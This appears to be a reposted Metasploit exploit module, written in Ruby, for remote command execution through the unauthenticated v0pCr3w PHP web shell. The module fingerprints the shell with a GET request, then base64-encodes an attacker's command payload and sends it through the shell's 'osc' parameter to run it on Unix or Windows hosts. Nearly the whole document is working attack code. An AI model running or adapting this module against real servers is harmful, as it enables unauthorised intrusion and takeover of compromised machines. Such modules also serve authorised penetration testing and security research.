v0pCr3w Web Shell Remote Code Execution Vulnerability

[حامد کیانمهر]

v0pCr3w Web Shell Remote Code Execution Vulnerability


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# Penetration Testing Software | Metasploit (http://metasploit.com/)
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'v0pCr3w Web Shell Remote Code Execution',
'Description' => %q{
This module exploits a lack of authentication in the shell developed by v0pCr3w
and is widely reused in automated RFI payloads. This module takes advantage of the
shell's various methods to execute commands.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bwall <bwall[at]openbwall.com>', # vuln discovery & msf module
],
'References' =>
[
['URL', 'V0pCr3w shell - Ballast Security (https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell)'],
['URL', 'PHP Decoder (https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0)']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'Platform' => ['unix', 'win'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['v0pCr3w / Unix', { 'Platform' => 'unix' } ],
['v0pCr3w / Windows', { 'Platform' => 'win' } ]
],
'DisclosureDate' => 'Mar 23 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, "The path to the v0pCr3w shell", "/jos.php"]),
],self.class)
end

def check
shell = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path.to_s),
'vars_get' => {
'lol' => '1'
}
})
if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def http_send_command(cmd)
p = Rex::Text.encode_base64(cmd)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path.to_s),
'vars_get' => {
'osc' => p
}
})
if not (res and res.code == 200)
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
end
end

def exploit
http_send_command(payload.encoded)
end
end